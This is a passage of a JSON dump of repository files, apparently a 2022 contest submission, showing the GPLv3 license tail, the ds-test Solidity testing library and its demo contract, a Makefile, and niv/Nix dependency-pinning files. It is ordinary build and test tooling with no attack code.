version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/lib/ds-test/Makefile",
    "content": "all:; dapp build\n\ntest:\n\t-dapp --use solc:0.4.23 build\n\t-dapp --use solc:0.4.26 build\n\t-dapp --use solc:0.5.17 build\n\t-dapp --use solc:0.6.12 build\n\t-dapp --use solc:0.7.5  build\n\ndemo:\n\tDAPP_SRC=demo dapp --use solc:0.7.5 build\n\t-hevm dapp-test --verbose 3\n\n.PHONY: test demo\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/lib/ds-test/default.nix",
    "content": "{ solidityPackage, dappsys }: solidityPackage {\n  name = \"ds-test\";\n  src = ./src;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/lib/ds-test/demo/demo.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\npragma solidity >=0.4.23;\n\nimport \"../src/test.sol\";\n\ncontract DemoTest is DSTest {\n    function test_this() public pure {\n        require(true);\n    }\n    function test_logs() public {\n        emit log(\"-- log(string)\");\n        emit log(\"a string\");\n\n        emit log(\"-- log_named_uint(string, uint)\");\n        log_named_uint(\"uint\", 512);\n\n        emit log(\"-- log_named_int(string, int)\");\n        log_named_int(\"int\", -512);\n\n        emit log(\"-- log_named_address(string, address)\");\n        log_named_address(\"address\", address(this));\n\n        emit log(\"-- log_named_bytes32(string, bytes32)\");\n        log_named_bytes32(\"bytes32\", \"a string\");\n\n        emit log(\"-- log_named_bytes(string, bytes)\");\n        log_named_bytes(\"bytes\", hex\"cafefe\");\n\n        emit log(\"-- log_named_string(string, string)\");\n        log_named_string(\"string\", \"a string\");\n\n        emit log(\"-- log_named_decimal_uint(string, uint, uint)\");\n        log_named_decimal_uint(\"decimal uint\", 1.0e18, 18);\n\n        emit log(\"-- log_named_decimal_int(string, int, uint)\");\n        log_named_decimal_int(\"decimal int\", -1.0e18, 18);\n    }\n    event log_old_named_uint(bytes32,uint);\n    function test_old_logs() public {\n        log_old_named_uint(\"key\", 500);\n        log_named_bytes32(\"bkey\", \"val\");\n    }\n    function test_trace() public view {\n        this.echo(\"string 1\", \"string 2\");\n    }\n    function test_multiline() public {\n        emit log(\"a multiline\\\\n\" \"string\");\n        emit log(\"a multiline \" \"string\");\n        log_bytes(\"a string\");\n        log_bytes(\"a multiline\\n\" \"string\");\n        log_bytes(\"a multiline\\\\n\" \"string\");\n        emit log(unicode\"Ώ\");\n        logs(hex\"0000\");\n        log_named_bytes(\"0x0000\", hex\"0000\");\n        logs(hex\"ff\");\n    }\n    function echo(string memory s1, string memory s2) public pure\n        returns (string memory, string memory)\n    {\n        return (s1, s2);\n    }\n\n    function prove_this(uint x) public {\n        log_named_uint(\"sym x\", x);\n        assertGt(x + 1, 0);\n    }\n\n    function test_logn() public {\n        assembly {\n            log0(0x01, 0x02)\n            log1(0x01, 0x02, 0x03)\n            log2(0x01, 0x02, 0x03, 0x04)\n            log3(0x01, 0x02, 0x03, 0x04, 0x05)\n        }\n    }\n\n    event MyEvent(uint, uint indexed, uint, uint indexed);\n    function test_events() public {\n        emit MyEvent(1, 2, 3, 4);\n    }\n\n    function test_asserts() public {\n        string memory err = \"this test has failed!\";\n        emit log(\"## assertTrue(bool)\\n\");\n        assertTrue(false);\n        emit log(\"\\n\");\n        assertTrue(false, err);\n\n        emit log(\"\\n## assertEq(address,address)\\n\");\n        assertEq(address(this), msg.sender);\n        emit log(\"\\n\");\n        assertEq(address(this), msg.sender, err);\n\n        emit log(\"\\n## assertEq32(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(uint,uint)\\n\");\n        assertEq(uint(0), 1);\n        emit log(\"\\n\");\n        assertEq(uint(0), 1, err);\n\n        emit log(\"\\n## assertEq(int,int)\\n\");\n        assertEq(-1, -2);\n        emit log(\"\\n\");\n        assertEq(-1, -2, err);\n\n        emit log(\"\\n## assertEqDecimal(int,int,uint)\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertEqDecimal(uint,uint,uint)\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGt(uint,uint)\\n\");\n        assertGt(uint(0), 0);\n        emit log(\"\\n\");\n        assertGt(uint(0), 0, err);\n\n        emit log(\"\\n## assertGt(int,int)\\n\");\n        assertGt(-1, -1);\n        emit log(\"\\n\");\n        assertGt(-1, -1, err);\n\n        emit log(\"\\n## assertGtDecimal(int,int,uint)\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGtDecimal(uint,uint,uint)\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGe(uint,uint)\\n\");\n        assertGe(uint(0), 1);\n        emit log(\"\\n\");\n        assertGe(uint(0), 1, err);\n\n        emit log(\"\\n## assertGe(int,int)\\n\");\n        assertGe(-1, 0);\n        emit log(\"\\n\");\n        assertGe(-1, 0, err);\n\n        emit log(\"\\n## assertGeDecimal(int,int,uint)\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGeDecimal(uint,uint,uint)\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLt(uint,uint)\\n\");\n        assertLt(uint(0), 0);\n        emit log(\"\\n\");\n        assertLt(uint(0), 0, err);\n\n        emit log(\"\\n## assertLt(int,int)\\n\");\n        assertLt(-1, -1);\n        emit log(\"\\n\");\n        assertLt(-1, -1, err);\n\n        emit log(\"\\n## assertLtDecimal(int,int,uint)\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLtDecimal(uint,uint,uint)\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLe(uint,uint)\\n\");\n        assertLe(uint(1), 0);\n        emit log(\"\\n\");\n        assertLe(uint(1), 0, err);\n\n        emit log(\"\\n## assertLe(int,int)\\n\");\n        assertLe(0, -1);\n        emit log(\"\\n\");\n        assertLe(0, -1, err);\n\n        emit log(\"\\n## assertLeDecimal(int,int,uint)\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLeDecimal(uint,uint,uint)\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertEq(string,string)\\n\");\n        string memory s1 = \"string 1\";\n        string memory s2 = \"string 2\";\n        assertEq(s1, s2);\n        emit log(\"\\n\");\n        assertEq(s1, s2, err);\n\n        emit log(\"\\n## assertEq0(bytes,bytes)\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\");\n        log(\"\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\", err);\n    }\n}\n\ncontract DemoTestWithSetUp {\n    function setUp() public {\n    }\n    function test_pass() public pure {\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/lib/ds-test/src/test.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\npragma solidity >=0.4.23;\n\ncontract DSTest {\n    event log                    (string);\n    event logs                   (bytes);\n\n    event log_address            (address);\n    event log_bytes32            (bytes32);\n    event log_int                (int);\n    event log_uint               (uint);\n    event log_bytes              (bytes);\n    event log_string             (string);\n\n    event log_named_address      (string key, address val);\n    event log_named_bytes32      (string key, bytes32 val);\n    event log_named_decimal_int  (string key, int val, uint decimals);\n    event log_named_decimal_uint (string key, uint val, uint decimals);\n    event log_named_int          (string key, int val);\n    event log_named_uint         (string key, uint val);\n    event log_named_bytes        (string key, bytes val);\n    event log_named_string       (string key, string val);\n\n    bool public IS_TEST = true;\n    bool public failed;\n\n    address constant HEVM_ADDRESS =\n        address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));\n\n    modifier mayRevert() { _; }\n    modifier testopts(string memory) { _; }\n\n    function fail() internal {\n        failed = true;\n    }\n\n    modifier logs_gas() {\n        uint startGas = gasleft();\n        _;\n        uint endGas = gasleft();\n        emit log_named_uint(\"gas\", startGas - endGas);\n    }\n\n    function assertTrue(bool condition) internal {\n        if (!condition) {\n            emit log(\"Error: Assertion Failed\");\n            fail();\n        }\n    }\n\n    function assertTrue(bool condition, string memory err) internal {\n        if (!condition) {\n            emit log_named_string(\"Error\", err);\n            assertTrue(condition);\n        }\n    }\n\n    function assertEq(address a, address b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [address]\");\n            emit log_named_address(\"  Expected\", b);\n            emit log_named_address(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(address a, address b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function assertEq(bytes32 a, bytes32 b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [bytes32]\");\n            emit log_named_bytes32(\"  Expected\", b);\n            emit log_named_bytes32(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(bytes32 a, bytes32 b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq32(bytes32 a, bytes32 b) internal {\n        assertEq(a, b);\n    }\n    function assertEq32(bytes32 a, bytes32 b, string memory err) internal {\n        assertEq(a, b, err);\n    }\n\n    function assertEq(int a, int b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [int]\");\n            emit log_named_int(\"  Expected\", b);\n            emit log_named_int(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(int a, int b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq(uint a, uint b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [uint]\");\n            emit log_named_uint(\"  Expected\", b);\n            emit log_named_uint(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(uint a, uint b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Expected\", b, decimals);\n            emit log_named_decimal_int(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Expected\", b, decimals);\n            emit log_named_decimal_uint(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGt(uint a, uint b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(uint a, uint b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGt(int a, int b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(int a, int b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGe(uint a, uint b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(uint a, uint b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGe(int a, int b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(int a, int b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLt(uint a, uint b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(uint a, uint b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLt(int a, int b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(int a, int b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLe(uint a, uint b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(uint a, uint b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLe(int a, int b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(int a, int b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLeDecimal(a, b, decimals);\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertEq(string memory a, string memory b) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log(\"Error: a == b not satisfied [string]\");\n            emit log_named_string(\"  Value a\", a);\n            emit log_named_string(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertEq(string memory a, string memory b, string memory err) internal {\n        if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {\n        ok = true;\n        if (a.length == b.length) {\n            for (uint i = 0; i < a.length; i++) {\n                if (a[i] != b[i]) {\n                    ok = false;\n                }\n            }\n        } else {\n            ok = false;\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b) internal {\n        if (!checkEq0(a, b)) {\n            emit log(\"Error: a == b not satisfied [bytes]\");\n            emit log_named_bytes(\"  Expected\", a);\n            emit log_named_bytes(\"    Actual\", b);\n            fail();\n        }\n    }\n    function assertEq0(bytes memory a, bytes memory b, string memory err) internal {\n        if (!checkEq0(a, b)) {\n            emit log_named_string(\"Error\", err);\n            assertEq0(a, b);\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/nix/sources.json",
    "content": "{\n    \"dapptools\": {\n        \"branch\": \"master\",\n        \"description\": \"Dapp, Seth, Hevm, and more\",\n        \"homepage\": \"https://dapp.tools\",\n        \"owner\": \"dapphub\",\n        \"repo\": \"dapptools\",\n        \"rev\": \"d3aa62e08f2c662a4f8554ec68aa74dcdeb68ab3\",\n        \"sha256\": \"1dxzygjqkvx5327vv4wf8wnjr31m6s7jg7841760qplzw965xna0\",\n        \"type\": \"tarball\",\n        \"url\": \"https://github.com/dapphub/dapptools/archive/d3aa62e08f2c662a4f8554ec68aa74dcdeb68ab3.tar.gz\",\n        \"url_template\": \"https://github.com/<owner>/<repo>/archive/<rev>.tar.gz\"\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/nix/sources.nix",
    "content": "# This file has been generated by Niv.\n\nlet\n\n  #\n  # The fetchers. fetch_<type> fetches specs of type <type>.\n  #\n\n  fetch_file = pkgs: name: spec:\n    let\n      name' = sanitizeName name + \"-src\";\n    in\n      if spec.builtin or true then\n        builtins_fetchurl { inherit (spec) url sha256; name = name'; }\n      else\n        pkgs.fetchurl { inherit (spec) url sha256; name = name'; };\n\n  fetch_tarball = pkgs: name: spec:\n    let\n      name' = sanitizeName name + \"-src\";\n    in\n      if spec.builtin or true then\n        builtins_fetchTarball { name = name'; inherit (spec) url sha256; }\n      else\n        pkgs.fetchzip { name = name'; inherit (spec) url sha256; };\n\n  fetch_git = name: spec:\n    let\n      ref =\n        if spec ? ref then spec.ref else\n          if spec ? branch then \"refs/heads/${spec.branch}\" else\n            if spec ? tag then \"refs/tags/${spec.tag}\" else\n              abort \"In git source '${name}': Please specify `ref`, `tag` or `branch`!\";\n    in\n      builtins.fetchGit { url = spec.repo; inherit (spec) rev; inherit ref; };\n\n  fetch_local = spec: spec.path;\n\n  fetch_builtin-tarball = name: throw\n    ''[${name}] The niv type \"builtin-tarball\" is deprecated. You should instead use `builtin = true`.\n        $ niv modify ${name} -a type=tarball -a builtin=true'';\n\n  fetch_builtin-url = name: throw\n    ''[${name}] The niv type \"builtin-url\" will soon be deprecated. You should instead use `builtin = true`.\n        $ niv modify ${name} -a type=file -a builtin=true'';\n\n  #\n  # Various helpers\n  #\n\n  # https://github.com/NixOS/nixpkgs/pull/83241/files#diff-c6f540a4f3bfa4b0e8b6bafd4cd54e8bR695\n  sanitizeName = name:\n    (\n      concatMapStrings (s: if builtins.isList s then \"-\" else s)\n        (\n          builtins.split \"[^[:alnum:]+._?=-]+\"\n            ((x: builtins.elemAt (builtins.match \"\\\\.*(.*)\" x) 0) name)\n        )\n    );\n\n  # The set of packages used when specs are fetched using non-builtins.\n  mkPkgs = sources: system:\n    let\n      sourcesNixpkgs =\n        import (builtins_fetchTarball { inherit (sources.nixpkgs) url sha256; }) { inherit system; };\n      hasNixpkgsPath = builtins.any (x: x.prefix == \"nixpkgs\") builtins.nixPath;\n      hasThisAsNixpkgsPath = <nixpkgs> == ./.;\n    in\n      if builtins.hasAttr \"nixpkgs\" sources\n      then sourcesNixpkgs\n      else if hasNixpkgsPath && ! hasThisAsNixpkgsPath then\n        import <nixpkgs> {}\n      else\n        abort\n          ''\n            Please specify either <nixpkgs> (through -I or NIX_PATH=nixpkgs=...) or\n            add a package called \"nixpkgs\" to your sources.json.\n          '';\n\n  # The actual fetching function.\n  fetch = pkgs: name: spec:\n\n    if ! builtins.hasAttr \"type\" spec then\n      abort \"ERROR: niv spec ${name} does not have a 'type' attribute\"\n    else if spec.type == \"file\" then fetch_file pkgs name spec\n    else if spec.type == \"tarball\" then fetch_tarball pkgs name spec\n    else if spec.type == \"git\" then fetch_git name spec\n    else if spec.type == \"local\" then fetch_local spec\n    else if spec.type == \"builtin-tarball\" then fetch_builtin-tarball name\n    else if spec.type == \"builtin-url\" then fetch_builtin-url name\n    else\n      abort \"ERROR: niv spec ${name} has unknown type ${builtins.toJSON spec.type}\";\n\n  # If the environment variable NIV_OVERRIDE_${name} is set, then use\n  # the path directly as opposed to the fetched source.\n  replace = name: drv:\n    let\n      saneName = stringAsChars (c: if isNull (builtins.match \"[a-zA-Z0-9]\" c) then \"_\" else c) name;\n      ersatz = builtins.getEnv \"NIV_OVERRIDE_${saneName}\";\n    in\n      if ersatz == \"\" then drv else ersatz;\n\n  # Ports of functions for older nix versions\n\n  # a Nix version of mapAttrs if the built-in doesn't exist\n  mapAttrs = builtins.mapAttrs or (\n    f: set: with builtins;\n    listToAttrs (map (attr: { name = attr; value = f attr set.${attr}; }) (attrNames set))\n  );\n\n  # https://github.com/NixOS/nixpkgs/blob/0258808f5744ca980b9a1f24fe0b1e6f0fecee9c/lib/lists.nix#L295\n  range = first: last: if first > last then [] else builtins.genList (n: first + n) (last - first + 1);\n\n 